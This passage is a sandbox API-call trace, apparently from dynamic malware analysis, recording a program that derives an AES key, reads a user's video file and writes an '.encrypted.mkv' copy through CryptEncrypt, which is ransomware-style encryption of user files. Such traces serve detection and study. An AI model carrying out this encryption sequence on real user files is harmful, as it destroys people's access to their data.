(hHash=0xe8f4062aa0, pbData=0xe8f418b150, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.308] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.308] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.308] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.308] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0029.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.309] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\j7zcuukkldqsujiv8.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.310] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx")) returned 0x10 [0029.311] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\j7zcuukkldqsujiv8.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.312] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.312] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.314] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3d7, lpOverlapped=0x0) returned 1 [0029.314] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.316] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.317] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.317] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.317] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.317] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.317] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.318] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.318] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.318] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.318] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.318] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.319] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064d90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.319] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.319] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.320] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.320] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x103d7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x103e0) returned 1 [0029.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.320] CharLowerBuffW (in: lpsz="byte[66529]", cchLength=0xb | out: lpsz="byte[66529]") returned 0xb [0029.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.322] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.322] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.322] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.322] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43aabd0*, pdwDataLen=0xe8f3dfdf68*=0x103d7, dwBufLen=0x103e0 | out: pbData=0xe8f43aabd0*, pdwDataLen=0xe8f3dfdf68*=0x103e0) returned 1 [0029.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.323] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.327] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.328] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.328] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.329] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.329] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.329] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.329] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.329] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.329] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.329] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.329] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.330] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 